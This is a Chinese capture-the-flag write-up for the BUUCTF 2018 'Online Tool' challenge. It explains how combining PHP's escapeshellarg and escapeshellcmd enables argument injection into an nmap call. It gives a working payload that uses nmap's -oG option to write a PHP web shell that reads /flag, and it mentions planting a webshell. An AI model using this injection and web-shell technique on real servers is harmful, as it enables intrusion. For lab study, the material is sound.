一直在玩黑神话,学习要褒姒了
[BUUCTF 2018]Online Tool
思路

RCE指的是远程代码执行漏洞
这题看来关键是构造$host,想办法输出flag
代码中有两个转义函数escapeshellarg和escapeshellcmd,我们先弄懂这两个函数的作用
参考文献:escapeshellarg参数绕过和注入的问题_escapeshellcmd-CSDN博客
escapeshellarg(string $arg): string
-param:
$arg: 要转义的命令
-return:
转义后的字符串
转义的方式为:
escapeshellarg()会给一个字符串加上单引号,并对任何现有的单引号进行转义,这样就可以直接将字符串传递给 shell 函数,使其被视为一个安全的单引号参数。此函数应用于对来自用户输入的 shell 函数的单个参数进行转义。shell 函数包括exec()、system()和反引号运算符。
在 Windows 上,escapeshellarg()会用空格替换百分号、感叹号(延迟变量替换)和双引号,并在字符串周围添加双引号。此外,对于连续的反斜杠(\)序列,会用一个额外的反斜杠进行转义。
<?php
echo escapeshellarg('Hello');
// 输出值为:'Hello'
echo escapeshellarg('Hello\'');
// 输出值为:'Hello'\'''(在命令行使用 echo 'Hello'\''',只会输出 Hello')
escapeshellcmd(string $arg): string
-param:
$arg: 要转义的命令
-return:
转义后的字符串
转义的方式为:
escapeshellcmd()会将字符串中的任何字符转义,这些字符可能被用来欺骗 shell 命令执行任意命令。该函数应在将数据传递给exec()或system()函数或反引号运算符之前使用,以确保来自用户输入的数据被转义。
以下字符前缀以反斜杠(\):&、|、*、?、~、<>、^、()、{}、$、\、\,、\x0A和\xFF。如果'和"未成对出现,则仅对其进行转义。在 Windows 上,所有这些字符加上%和!前缀以一个叹号(!)。
解题
payload构造:参考文献:[BUUCTF 2018]Online Tool – 春告鳥 – 博客园 (cnblogs.com)
例:
<?php
$host = '172.17.0.2\' -v -d a=1';
// -> 172.17.0.2' -v -d a=1
$host = escapeshellarg($host);
// -> '172.17.0.2'\'' -v -d a=1'
$host = escapeshellcmd($host);
// -> '172.17.0.2'\\'' -v -d a=1\'
echo `curl `.$host;
// 传入的参数是:172.17.0.2' -v -d a=1
// 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
// 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
// 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
同时nmap有一个-oG参数,可以控制输出:
OUTPUT:
-oN/-oX/-oS/-oG <file>: Output scan results in normal, XML, s|<rIpt kIddi3,
and Grepable format, respectively, to the given filename.
即构造如下即可,其实到了这一步也可以传马:
?host=' <?php echo `cat /flag`;?> -oG test.php '
得到

注意
``是PHP里面的执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回。使用反引号运算符`的效果与函数 shell_exec() 相同